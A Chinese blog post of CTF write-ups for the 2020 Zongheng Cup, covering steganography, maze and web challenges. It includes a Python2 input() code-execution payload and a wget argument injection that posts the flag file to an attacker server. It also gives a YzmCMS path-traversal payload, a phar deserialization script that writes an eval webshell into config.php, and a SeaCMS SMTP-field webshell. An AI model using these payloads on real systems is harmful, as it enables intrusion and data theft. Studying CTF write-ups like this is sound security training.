CTF | 2020 纵横杯 Misc&Web WriteUp


引言

呜,转眼就到 2020 年末了,事情有点杂有点小多,发现有不少想做的事情咕掉了,等后面年终总结再说吧(可能这个也咕了呢 233.

前几天天天有比赛,华为 XCTF 三场顶不住,还有 DASCTF x BJDCTF4th,不过期末了队里没师傅打也没怎么看。

不过周末和队友一起打了个纵横杯,题目还是有点意思的。

平台地址:

https://www.ichunqiu.com/2020zongheng
https://race.ichunqiu.com/2020zongheng

这里写写几道题目的 WriteUp 吧。

(看了大佬们的 WP,顺便复现了几题


Misc

签到

[0146, 0154, 0141, 0147, 0173, 0167, 063, 0154, 0143, 0157, 0155, 0145, 0137, 0164, 0157, 0137, 062, 0157, 0156, 0147, 0137, 0150, 063, 0156, 0147, 0137, 0142, 0145, 061, 0175]

八进制转字符串

flags = [146, 154, 141, 147, 173, 167, 63, 154, 143, 157, 155, 145, 137, 164, 157, 137, 62, 157, 156, 147, 137, 150, 63, 156, 147, 137, 142, 145, 61, 175]
flag = ''
for i in flags:
    flag += chr(int(str(i),8))
    print(flag)

flag{w3lcome_to_2ong_h3ng_be1}

马赛克

原图:

mosaic

利用 Depix 工具

https://github.com/beurtschipper/Depix

python depix.py -p mosaic/mosaic.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o mosaic/output.png

得到

output

再结合 debruinseq_notepad_Windows10_closeAndSpaced.png 这图片人工识别一下,得到 flag。

flag{0123468abd68abd0123}

没想到之前逛 GitHub 看到的工具居然就在 CTF 题目里用到了,妙啊~

My_Secret

LSB have a deep secret

PASS1 is 123456

下载下来两张图片一个音频,音频听了没啥明显问题。

stego.png 拿 StegSolve 看了一下 RGB 里 LSB 都有数据。

https://github.com/livz/cloacked-pixel 这个工具来解密 LSB 数据,密码就是题目所给的 123456。

得到密钥为 38d668578a3686ab

01 blood and wine.wav 用 DeepSound 解密。

pass

得到密钥为 carrier

根据图片和题目提示,用 oursecret 解密

拿到 flag

flag{3072d7b4-d3f4-4d8a-bd8b-ac9285df11f2}

babymaze2_beta

(babymaze1 走迷宫,队友打的,不过环境关了,也没源代码,复现不了了就不写了8

这题也是走迷宫,不过每次只给出当前位置附近的 3*3 的环境情况。

附件的话倒是给了个 .so 文件,python 写的,不会逆嘤嘤嘤。

但是真没想到能非预期,学到了学到了。

Python2 input RCE

__import__('os').system('cat flag')

复现成功喵~

BTW,想知道这题真正做的话怎么写(

magic_download

run.sh

#!/bin/bash
ulimit -c 0      # core dump size (kb)
ulimit -t 60     # max cpu using (s/min)
ulimit -u 1500    # max number of process
ulimit -m 512000 # max memory (kb)

cd /home/ctf
stdbuf -oL echo -n "Please enter your IP:"
read IP
echo $IP|grep "^[0-9\.]\{7,15\}$" > /dev/null
if [ $? -ne 0 ]
then
    stdbuf -oL echo "Please input a IP!"
else
    exec /home/ctf/wget -P /tmp $IP
fi

输入一个 IP,然后 grep 判断是否格式合理。

大师傅有言,换行 \n 再结合 echo-e 参数就能绕过了。

而且这个 -e 参数在 wget 里也是存在的。

-e

Payload:

-e --post-flie=/home/ctf/flag http://vps:port/ \\n127.0.0.1

echo 出来结果就是

--post-flie=/home/ctf/flag http://vps:port/ 
127.0.0.1

而 grep 就会匹配到最后一行的 127.0.0.1,于是就认为是合理 IP 了。

(学到了学到了

问卷调查

flag{thanks_for_playing_our_games}


Web

ezcms

YzmCMS

www.zip 源码泄露

/www/common/config/config.php 配置文件

//数据库配置
'db_type' => 'pdo',     	    // 数据库链接扩展 , 支持 pdo | mysqli | mysql
'db_host' => '127.0.0.1',       // 服务器地址
'db_name' => 'admin',		    // 数据库名
'db_user' => 'admin',            // 用户名
'db_pwd' => 'admin868',       	// 密码
'db_port' => 3306,              // 端口
'db_prefix' => 'yzm_',          // 数据库表前缀

/admin 后台弱口令登录,用户名密码同数据库配置。

admin
admin868

参考 https://www.cnblogs.com/Spec/p/11188198.html

/www/yzmphp/core/class/collection.class.php

collection.class.php

这里相对于官方源码去掉了 curl 执行,直接用 file_get_contents 来执行了。

模块管理下的 采集管理,网址配置为 vps 上一个页面,vps 上放 payload。

页面上放上一个 a 标签,构造目录穿越。

先试了试 file 协议,发现会提示 链接地址仅允许HTTP和HTTPS协议!

再查看源码。

url_check函数

   /**
 * URL地址检查
 * @param string $url      需要检查的URL
 * @param string $baseurl  基本URL
 * @return string
 */
protected static function url_check($url, $baseurl) {
       $urlinfo = parse_url($baseurl);
	if(strpos($url, '://') === false) {
		if($url[0] == '/'){
			$url = $urlinfo['scheme'].'://'.$urlinfo['host'].$url;
		}else{
			$baseurl = $urlinfo['scheme'].'://'.$urlinfo['host'].(substr($urlinfo['path'], -1, 1) === '/' ? substr($urlinfo['path'], 0, -1) : str_replace('\\', '/', dirname($urlinfo['path']))).'/';
			$url = $baseurl.$url;
		}
	}

	if(substr($url, 0, 4) != 'http') showmsg('链接地址仅允许HTTP和HTTPS协议!', 'stop');
	
	return $url;
}

可见只要构造以 http 开头的 url 即可绕过 check。

Payload:

<test><a href="httpss://miaotony.xyz/../../../../../../../../flag">meow</a></test>

测试采集,得到 flag

flag{de3974b7-9c59-4317-b7ab-479b4e058683}

hello_php

XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于PHP、 MySQL的技术开发,全部源码开放。

www.zip 源码泄露

config.php

<?php
    error_reporting(0);
    $title='XXX信息管理系统';
    $commnet='XXXCMS是一种可以综合管理网站上各种栏目的通用工具,新闻、产品、文档、下载、音乐、教学视频……,通过模版技术,他们都在同一套系统里完成更新和维护。XXXCMS 是目前国内最强大、最稳定的中小型门户网站建设解决方案之一,基于 PHP   MySQL 的技术开发,全部源码开放。';
    $logo_url='./static/default.jpg';
    $admin_user='admin';
    $admin_pass='admin888';
    $footer=<<<EOD
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.js" ></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js"></script>
    </body>
    </html>
EOD;

从中得知用户名密码为

admin
admin888

login.php 登录,然后访问 admin.php,源码如下。

<?php
session_start();
include 'class.php';
if (!@$_SESSION['isadmin'] == True) {
	die("<script>alert('请登录');history.go(-1);</script>");
}

if (!isset($_GET['upload']) && !isset($_GET['update'])) {

	include_once 'header.php';?>
    <nav class="navbar navbar-light bg-light">
    <p>
  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#upload" aria-expanded="false" aria-controls="upload">
    上传网站图标
  </button>
  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#update" aria-expanded="false" aria-controls="update">
    修改网站标题
  </button>
  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#reset" aria-expanded="false" aria-controls="reset">
    恢复出厂设置
  </button>
  </nav>
</p>
<div id="upload">
  <div class="card card-body">
    <form action="admin.php?upload" method="POST" enctype='multipart/form-data'>
        <input type="file" name='file' value='abs'>
        <input type="submit" class="btn btn-primary" value='上传'>
    </form>
  </div>
</div>
<div id="update">
  <div class="card card-body">
  垃圾老板就给我这么点钱,叫我怎么帮你做事。
    <form action="admin.php?update" method="post">
        <input type="text" name="lalal" placeholder='请输入网站标题' class='form-control'>
        <input type="submit" class='btn btn-primary'>
    </form>
  </div>
</div>
<div class="collapse" id="reset">
  <div class="card card-body">
    删库跑路的艺术就是想删就删,想恢复就恢复。
    <a id="resetbtn" class="btn btn-primary">点我重置</a>
  </div>
</div>

    <script>
    $("#resetbtn").click(function(){
        xhr = new XMLHttpRequest();
xhr.open('GET', './reset.php', true);
xhr.send();
location.reload();
});</script>

<?php } else if (isset($_GET['upload'])) {
	$config->upload_logo();
} else if (isset($_GET['update'])) {
	die('<script>alert(垃圾老板就给我这么点钱,叫我怎么帮你做事./);history.go(-1)</script>');
}
echo $footer;
?>

index.php

<?php include_once('header.php');?>

<?php 
if(isset($_GET['img'])&&file_exists($_GET['img'])){?>
            <img src="<?php echo $_GET['img'];?>" class="d-inline-block align-top" alt="" loading="lazy">
<?php } else {?>
    <img src="<?php echo $config->logo_url;?>" class="d-inline-block align-top" alt="" loading="lazy">
<?php }?>
    <p><?php echo $config->comment;?></p>

<?php echo $footer;?>

可以看到,如果设置了 img 参数,则会去读取这个文件输出到页面上。

class.php

<?php
include('config.php');
class Config{
    public $title;
    public $comment;
    public $logo_url;
    public function __construct(){
        global $title;
        global $comment;
        global $logo_url;
        $this->title= $title;
        $this->comment = $comment;
        $this->logo_url = $logo_url;
    }
    public function upload_logo(){
        if(!empty($_FILES)){
            $path='./static/'.md5(time()).'.jpg';
            move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');
        }
    }
    public function update_title($title,$comment){
        #垃圾老板就给我这么点钱,叫我怎么帮你做事。
    }
    
    public function __destruct(){
        $file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
        $file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file);
        $file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file);
        file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
    }
    
}
$config=new Config;
?>

__destruct 析构函数里会将配置保存到 config.php 文件中,覆盖掉当前配置。

于是就 用 phar 打反序列化

根据上面的源码写 payload

<?php
   class Config{
    public $title;
    public $comment;
    public $logo_url;
}
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Config();
    $o->title="';eval(\$_POST['a']);#";
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();    //签名自动计算
?>

生成 phar 后在 admin.php 上传。

而后访问 index.php?img=phar://./static/xxxxxxxx.jpg/test.txt 触发反序列化。

其中的 xxxxxxxx 可以通过 header 返回的 Date 转换为时间戳,再取 md5 来获得。

例如:

var_dump(md5("1609158265"));
# string(32) "b6e6c77a88da0935b34610e53081acb6" 

最后在 config.php 用一句话木马拿 flag。

修改后的 config.php

BTW, 利用条件:
① phar 文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists()fopen()file_get_contents()file()
③ 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

References:

关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

PHP反序列化入门之phar

大家一起来审代码

小路学会了渗透基础,突然有一天特别无聊想要渗透,她请教了某大佬,大佬丢给了她一个网站地址和网站源码(www.zip),然后,然后,小路就开始了苦逼的代码审计之旅,越是审越想和周公约会,快来救救她吧!!!

www.zip 源码泄露

/adm1n 后台弱口令登录

admin
admin

海洋CMS

有一堆洞(

发现 GitHub 上有人提了 后台 getshell 的 issue:

https://github.com/ciweiin/seacms/issues/11

在 邮件服务器设置这里把 SMTP 地址设为 ${eval($_POST[cmd])}

img

而后在 /data/admin/smtp.php 路径下执行木马拿 flag 即可。

flag


小结

学到了不少喵~

BTW,这比赛到最后大家疯狂交 flag,太卷了太卷了。

就先这样吧,这几天要大降温了,注意保暖w

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
CTF | 2021 0x41414141CTF 部分 WriteUp CTF | 2021 0x41414141CTF 部分 WriteUp
喵,第一次来打国外的CTF,起因其实是有师傅来问我这个比赛怎么注册233,于是顺便就来看看题好了。
2021-01-31
下一篇 
Install Terminal + git-bash + zsh + oh-my-zsh on Windows 10 Install Terminal + git-bash + zsh + oh-my-zsh on Windows 10
由于已经配了虚拟机,Win10上又不大想装WSL,于是折腾了一下Windows Terminal + git-bash + zsh + oh-my-zsh,感觉有点意思,这里顺便来记录一下。
2020-12-13
  目录